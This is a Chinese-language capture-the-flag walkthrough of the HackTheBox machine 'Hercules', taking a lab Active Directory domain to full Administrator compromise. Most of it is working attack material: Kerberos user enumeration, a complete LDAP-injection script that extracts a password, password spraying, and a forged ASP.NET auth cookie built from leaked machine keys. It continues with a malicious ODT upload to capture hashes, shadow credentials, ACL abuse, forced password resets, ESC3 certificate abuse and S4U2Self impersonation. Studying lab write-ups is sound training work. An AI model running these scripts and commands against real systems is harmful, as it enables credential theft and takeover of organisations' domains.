Hercules

Source

Information Gathering

使用rustscan进行信息收集,将发现的域名添加到hosts文件

sudo rustscan -a 10.10.11.91 -r 1-65535 -- -A -sV -Pn -oN result.txt --max-retries=0

在这里插入图片描述

编辑一下krb5.conf文件

在这里插入图片描述
再生成带有字母的字典

awk '/^[[:space:]]*$/ {next} {
    gsub(/^[ \t]+|[ \t]+$/,"");
    for(i=97;i<=122;i++)
        printf "%s.%c\n", $0, i
}' \
/usr/share/seclists/Usernames/Names/names.txt | \
sudo tee /usr/share/seclists/Usernames/Names/names.withletters.txt > /dev/null && \
echo "Created: /usr/share/seclists/Usernames/Names/names.withletters.txt"

在这里插入图片描述

fuzz一下有哪些域用户

./kerbrute userenum --dc 10.10.11.91 -d hercules.htb ./names.withletters.txt -t 100

在这里插入图片描述

将这些用户名都做成字典

在这里插入图片描述

访问443端口,发现是一个web服务

在这里插入图片描述

对其进行目录扫描,发现一个login登录页面

dirsearch -u https://hercules.htb/

在这里插入图片描述

我们之前获得了一些用户名,使用如下脚本进行ladp注入测试,得到密码change*th1s_p@ssw()rd!!

#!/usr/bin/env python3
import requests
import string
import urllib3
import re
import time

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Configuration
BASE = "https://hercules.htb"
LOGIN_PATH = "/Login"
LOGIN_PAGE = "/login"
TARGET_URL = BASE + LOGIN_PATH
VERIFY_TLS = False

# Success indicator (valid user, wrong password)
SUCCESS_INDICATOR = "Login attempt failed"

# Token regex
TOKEN_RE = re.compile(r'name="__RequestVerificationToken"\s+type="hidden"\s+value="([^"]+)"', re.IGNORECASE)

# All enumerated users (replaced as requested)
KNOWN_USERS = ["adriana.i","angelo.o","ashley.b","bob.w","camilla.b","clarissa.c","elijah.m","fiona.c","harris.d","heather.s","jacob.b","jennifer.a","jessica.e","joel.c","johanna.f","johnathan.j","ken.w","mark.s","mikayla.a","natalie.a","nate.h","patrick.s","ramona.l","ray.n","rene.s","shae.j","stephanie.w","stephen.m","tanya.r","tish.c","vincent.g","will.s","zeke.s","auditor"]

def get_token_and_cookie(session):
    response = session.get(BASE + LOGIN_PAGE, verify=VERIFY_TLS)
    token = None
    match = TOKEN_RE.search(response.text)
    if match:
        token = match.group(1)
    return token

def test_ldap_injection(username, description_prefix=""):
    session = requests.Session()
    # Get fresh token
    token = get_token_and_cookie(session)
    if not token:
        return False

    # Build LDAP injection payload
    if description_prefix:
        # Escape special characters
        escaped_desc = description_prefix
        if '*' in escaped_desc:
            escaped_desc = escaped_desc.replace('*', '\\2a')
        if '(' in escaped_desc:
            escaped_desc = escaped_desc.replace('(', '\\28')
        if ')' in escaped_desc:
            escaped_desc = escaped_desc.replace(')', '\\29')
        payload = f"{
      
        username}*)(description={
      
        escaped_desc}*"
    else:
        # Check if user has description field
        payload = f"{
      
        username}*)(description=*"

    # Double URL encode
    encoded_payload = ''.join(f'%{
      
        byte:02X}' for byte in payload.encode('utf-8'))

    data = {
    
      
        "Username": encoded_payload,
        "Password": "test",
        "RememberMe": "false",
        "__RequestVerificationToken": token
    }

    try:
        response = session.post(TARGET_URL, data=data, verify=VERIFY_TLS, timeout=5)
        return SUCCESS_INDICATOR in response.text
    except Exception as e:
        return False

def enumerate_description(username):
    # Character set - most common password chars first for optimization
    charset = (
        string.ascii_lowercase +
        string.digits +
        string.ascii_uppercase +
        "!@#$_*-." + # Common special chars
        "%^&()=+[]{}|;:',<>?/`~\" \\" # Less common
    )

    print(f"\n[*] Checking user: {
      
        username}")

    # First check if user has description
    if not test_ldap_injection(username):
        print(f"[-] User {
      
        username} has no description field")
        return None

    print(f"[+] User {
      
        username} has a description field, enumerating...")
    description = ""
    max_length = 50
    no_char_count = 0

    for position in range(max_length):
        found = False
        for char in charset:
            test_desc = description + char
            if test_ldap_injection(username, test_desc):
                description += char
                print(f" Position {
      
        position}: '{
      
        char}' -> Current: {
      
        description}")
                found = True
                no_char_count = 0
                break
            # Small delay to avoid rate limiting
            time.sleep(0.01)

        if not found:
            no_char_count += 1
            if no_char_count >= 2: # Stop after 2 positions with no chars
                break

    if description:
        print(f"[+] Complete: {
      
        username} => {
      
        description}")
        return description
    return None

def main():
    print("="*60)
    print("Hercules LDAP Description/Password Enumeration")
    print(f"Testing {
      
        len(KNOWN_USERS)} users")
    print("="*60)

    found_passwords = {
    
      }

    # Priority users to test first
    priority_users = ["web_admin", "auditor", "Administrator", "natalie.a", "ken.w"]
    other_users = [u for u in KNOWN_USERS if u not in priority_users]

    # Test priority users first
    for user in priority_users + other_users:
        password = enumerate_description(user)
        if password:
            found_passwords[user] = password
            # Save results immediately
            with open("hercules_passwords.txt", "a") as f:
                f.write(f"{
      
        user}:{
      
        password}\n")
            print(f"\n[+] FOUND: {
      
        user}:{
      
        password}\n")

    print("\n" + "="*60)
    print("ENUMERATION COMPLETE")
    print("="*60)

    if found_passwords:
        print(f"\nFound {
      
        len(found_passwords)} passwords:")
        for user, pwd in found_passwords.items():
            print(f" {
      
        user}: {
      
        pwd}")
    else:
        print("\nNo passwords found")

if __name__ == "__main__":
    main()

在这里插入图片描述

然后对刚刚的用户名字典密码喷洒,发现ken.w用户可以成功登录

ntpdate 10.10.11.91
nxc ldap 10.10.11.91 -u users.txt -p 'change*th1s_p@ssw()rd!!' --continue-on-success -k

在这里插入图片描述
在这里插入图片描述

选择其中一个下载功能进行抓包分析,发现存在目录穿越漏洞

在这里插入图片描述
在这里插入图片描述
泄露了多个敏感字段

decryptionKey="B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581"
validation="HMACSHA256"
validationKey="EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80"

使用dotnet创建一个新的控制台项目

dotnet new console -o LegacyAuthConsole

在这里插入图片描述

添加版本为v2.0.5的AspNetCore.LegacyAuthCookieCompat 包

cd LegacyAuthConsole
dotnet add package AspNetCore.LegacyAuthCookieCompat --version 2.0.5

在这里插入图片描述

把项目需要的包全部下载好

dotnet restore
ls

在这里插入图片描述

将Program.cs的代码更改为以下的C#代码

using System;
using System.Security.Claims;
using System.Threading.Tasks;
using AspNetCore.LegacyAuthCookieCompat;

class Program
{
    
      
    static void Main(string[] args)
    {
    
      
        string validationKey = 
"EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80";

        string decryptionKey = 
"B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581";

        var issueDate = DateTime.Now;
        var expiryDate = issueDate.AddHours(1);
        var formsAuthenticationTicket = new FormsAuthenticationTicket(1, "web_admin", 
issueDate, expiryDate, false, "Web Administrators", "/");

        byte[] decryptionKeyBytes = HexUtils.HexToBinary(decryptionKey);
        byte[] validationKeyBytes = HexUtils.HexToBinary(validationKey);

        var legacyFormsAuthenticationTicketEncryptor = new 
LegacyFormsAuthenticationTicketEncryptor(decryptionKeyBytes, validationKeyBytes, 
ShaVersion.Sha256);

        var encryptedText = 
legacyFormsAuthenticationTicketEncryptor.Encrypt(formsAuthenticationTicket);

        Console.WriteLine(encryptedText);
    }
}

更改好后进行编译并运行

在这里插入图片描述

将生成的cookie替换掉ken.w用户的cookie值,刷新页面,就是web_admin用户权限

在这里插入图片描述

在这里插入图片描述

web_admin账户有一个Forms功能,该功能存在一个文件上传点

在这里插入图片描述
这里使用https://github.com/lof1sec/Bad-ODF这个文件进行漏洞利用,首先先要安装依赖库

python3 -m venv .venv
source .venv/bin/activate
pip3 install ezodf lxml -i https://pypi.tuna.tsinghua.edu.cn/simple

在这里插入图片描述
在这里插入图片描述

开启responder,并上传我们生成的odt文件,等待一段时间会获取到natalie.a用户的hash

sudo responder -I tun0 -v

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

使用john进行破解,得到明文密码Prettyprincess123!

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

在这里插入图片描述

使用bloodhound-python进行域信息收集

bloodhound-python -u ken.w -p 'change*th1s_p@ssw()rd!!' -c All -d hercules.htb -ns 10.10.11.91 --zip --use-ldap

在这里插入图片描述

可以看到我们刚刚得到的natalie.a用户属于web support组,这个组的权限好像挺多

在这里插入图片描述

在这里插入图片描述

我们再看看web support组的权限,发现对6个用户都有Genericwrite权限

在这里插入图片描述

再看看哪些用户属于远程登录的组

在这里插入图片描述

并且又看到stephen.m和mark.s属于Security Helpdesk组,然后Security Helpdesk组对auditor有forcechangepassword权限

在这里插入图片描述

在分析了下Security Helpdesk组发现他对7个用户都有ForceChangePassword权限

在这里插入图片描述

Foothold

先利用Genericwrite权限来用影子证书来打bob.w

请求natalie.a的tgt

impacket-getTGT -dc-ip 10.10.11.91 hercules.htb/natalie.a:Prettyprincess123!
export KRB5CCNAME=natalie.a.ccache
sudo ntpdate 10.10.11.91
certipy-ad shadow auto -u natalie.a@hercules.htb -k -dc-host DC.hercules.htb -account bob.w

在这里插入图片描述

得到bob.w用户的hash8a65c74e8f0073babbfac6725c66cc3f

在这里插入图片描述

利用得到的bob.w的hash请求tgt

impacket-getTGT -dc-ip 10.10.11.91 -hashes :8a65c74e8f0073babbfac6725c66cc3f hercules.htb/bob.w
export KRB5CCNAME=bob.w.ccache

在这里插入图片描述

枚举下bob.w可写的对象

bloodyAD -u 'bob.w' -p '' -k -d 'hercules.htb' --host DC.hercules.htb get writable --detail

在这里插入图片描述

将stephen.m从Security Department OU 移动到 Web Department OU 里(因为 Web Department OU有更高的权限)

用powerview以bob.w的票据枚举域内的信息

python3 powerview.py-main/powerview.py hercules.htb/bob.w@dc.hercules.htb -k --use-ldaps --dc-ip 10.10.11.91 -d --no-pass
Set-DomainObjectDN -Identity stephen.m -DestinationDN 'OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb'

在这里插入图片描述

影子证书打stephen.m

重新请求下natalie.a的票据

impacket-getTGT 'HERCULES.HTB/natalie.a:Prettyprincess123!'
unset KRB5CCNAME
export KRB5CCNAME=natalie.a.ccache

在这里插入图片描述

影子证书打stephen.m(成功拿到hash)9aaaedcb19e612216a2dac9badb3c210

certipy-ad shadow auto -u natalie.a@hercules.htb -k -dc-host DC.hercules.htb -account 'stephen.m'

在这里插入图片描述

重置Auditor密码

先请求stephen.m的tgt

impacket-getTGT HERCULES.HTB/stephen.m -hashes :9aaaedcb19e612216a2dac9badb3c210
unset KRB5CCNAME
export KRB5CCNAME=stephen.m.ccache

在这里插入图片描述

利用forcechangepassword权限修改Auditor的密码

bloodyAD --host DC.hercules.htb -d hercules.htb -u 'stephen.m' -k set password Auditor 'Prettyprincess123!'

在这里插入图片描述

请求Auditor的票据

impacket-getTGT -dc-ip 10.10.11.91 hercules.htb/Auditor:Prettyprincess123!
unset KRB5CCNAME
export KRB5CCNAME=Auditor.ccache

在这里插入图片描述

使用winrmexec进行登录,链接为https://github.com/ozelis/winrmexec.git

python3 winrmexec-main/evil_winrmexec.py -ssl -port 5986 -k -no-pass dc.hercules.htb

在这里插入图片描述
在这里插入图片描述

Privilege Escalation

将 Auditor添加进Forest Migration OU

看看自己的组

在这里插入图片描述

导入一下ActiveDirectory模块,看一下ACL

Import-Module ActiveDirectory
(Get-ACL "AD:OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb").Access | Where-Object {
    
       $_.IdentityReference -like "*Forest Management*" } | Format-List *

在这里插入图片描述

将 Auditor ou设为Forest Migration

bloodyAD --host DC.hercules.htb -d hercules.htb -u Auditor -p 'Prettyprincess123!' -k set owner 'OU=FOREST MIGRATION,OU=DCHERCULES,DC=HERCULES,DC=HTB' Auditor

在这里插入图片描述

我们在给 Forest Migration OU 一个GenericAll权限

bloodyAD --host dc.hercules.htb -d hercules.htb -u Auditor -k add genericAll 'OU=FOREST MIGRATION,OU=DCHERCULES,DC=HERCULES,DC=HTB' Auditor

在这里插入图片描述

检查下Fernando.R的acl

检查下Fernando.R的acl

Get-ADUser -Identity "Fernando.R"

在这里插入图片描述

可以看到Fernando.R属于Smartcard Operators组

在这里插入图片描述

启用一下 Fernando.R的账户

bloodyAD --host DC.hercules.htb -d 'hercules.htb' -u 'auditor' -k remove uac 'fernando.r' -f ACCOUNTDISABLE

在这里插入图片描述

重置Fernando.R密码

bloodyAD --host DC.hercules.htb -d hercules.htb -u Auditor -k set password 'fernando.r' 'NewPassword123!'

在这里插入图片描述

ESC3证书攻击

先获取下Fernando.R票据

impacket-getTGT 'HERCULES.HTB/fernando.r:NewPassword123!'
unset KRB5CCNAME
export KRB5CCNAME=fernando.r.ccache

在这里插入图片描述

自动搜集有无证书可利用的模板

certipy-ad find -k -dc-ip 10.10.11.91 -target DC.hercules.htb -vulnerable -stdout

在这里插入图片描述

从EnrollmentAgent获取CA-HERCULES的证书

certipy-ad req -u "fernando.r@hercules.htb" -k -no-pass -dc-host dc.hercules.htb -dc-ip 10.10.11.91 -target "dc.hercules.htb" -ca 'CA-HERCULES' -template "EnrollmentAgent" -application-policies "Certificate Request Agent"

在这里插入图片描述

RBCD

通过fernando.r为ashley.g申请一个证书

certipy-ad req -u "fernando.r@hercules.htb" -k -no-pass -dc-ip "10.10.11.91" -dc-host dc.hercules.htb -target "dc.hercules.htb" -ca 'CA-HERCULES' -template "User" -pfx fernando.r.pfx -on-behalf-of "hercules\ashley.b" -dcom

在这里插入图片描述

使用ashley.b.pfx来验证身份,获取到ashley.b用户的hash值为1e719fbfddd226da74f644eac9df7fd2

certipy-ad auth -pfx ashley.b.pfx -dc-ip 10.10.11.91

在这里插入图片描述

横向到DC上

请求ashley.b的票据

impacket-getTGT -hashes :1e719fbfddd226da74f644eac9df7fd2 hercules.htb/ashley.b@dc.hercules.htb
unset KRB5CCNAME
export KRB5CCNAME=ashley.b@dc.hercules.htb.ccache

在这里插入图片描述

用之前的winrm脚本上去

python3 winrmexec-main/evil_winrmexec.py -ssl -port 5986 -k -no-pass hercules.htb/ashley.b@dc.hercules.htb

在这里插入图片描述

桌面上找到一个aCleanup.ps1查看一下,内容大概是让我们执行以一下这个脚本后面来重置密码

在这里插入图片描述

利用GenericAll提权

给 IT SUPPORT一个GenericAll权限

unset KRB5CCNAME
export KRB5CCNAME=Auditor.ccache
bloodyAD --host 'dc.hercules.htb' -d 'hercules.htb' -u 'auditor' -k add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' 'IT SUPPORT'

在这里插入图片描述

再给Auditor一个GenericAll权限

bloodyAD --host dc.hercules.htb -d hercules.htb -u Auditor -k add genericAll 'OU=FOREST MIGRATION,OU=DCHERCULES,DC=HERCULES,DC=HTB' Auditor

在这里插入图片描述

接管IIS_Administrator账号

iis_administrator 对iis_webserver有ForceChangePassword权限,图中可能是收集过程中传输不完整导致

在这里插入图片描述

启用IIS_Administrator账户

bloodyAD --host DC.hercules.htb -d hercules.htb -u 'Auditor' -k remove uac "IIS_Administrator" -f ACCOUNTDISABLE

在这里插入图片描述

重置IIS_Administrator账户密码

bloodyAD --host DC.hercules.htb -d hercules.htb -u 'Auditor' -k set password "IIS_Administrator" Passw0rd@123

在这里插入图片描述

请求IIS_Administrator的tgt票据

impacket-getTGT hercules.htb/'iis_administrator':'Passw0rd@123' -dc-ip 10.10.11.91

在这里插入图片描述

重置iis_webserver$ 密码

unset KRB5CCNAME
export KRB5CCNAME=iis_administrator.ccache
bloodyAD --host DC.hercules.htb -d hercules.htb -u 'IIS_Administrator' -k set password "iis_webserver$" Passw0rd@123

在这里插入图片描述

将改的密码转换为hash

iconv -f ASCII -t UTF-16LE <(printf 'Passw0rd@123') | openssl dgst -md4

在这里插入图片描述

攻击iis_webserver$

请求IIS_webserver$的票据

impacket-getTGT -hashes :14d0fcda7ad363097760391f302da68d 'hercules.htb/IIS_webserver$' -dc-ip 10.10.11.91

在这里插入图片描述

从IIS_webserver$ ccache提取密钥

unset KRB5CCNAME
export KRB5CCNAME=IIS_webserver\$.ccache
impacket-describeTicket 'IIS_webserver$.ccache' | grep 'Ticket Session Key'

在这里插入图片描述

用得到的密钥来改 IIS_webserver$密码

impacket-changepasswd -newhashes :57cfc376a6abc9a26ed93ca44e118e4a 'hercules.htb'/'IIS_webserver$':'Passw0rd@123'@'dc.hercules.htb' -k

在这里插入图片描述

S4U2Self滥用拿域管

请求一张冒充管理员的CIFS

impacket-getST -u2u -impersonate "Administrator" -spn "cifs/dc.hercules.htb" -k -no-pass 'hercules.htb'/'IIS_webserver$'

在这里插入图片描述

导入这个票据直接winrm Administrator

unset KRB5CCNAME
export KRB5CCNAME=Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache
python3 winrmexec-main/evil_winrmexec.py -ssl -port 5986 -k -no-pass dc.hercules.htb

在这里插入图片描述

在这里插入图片描述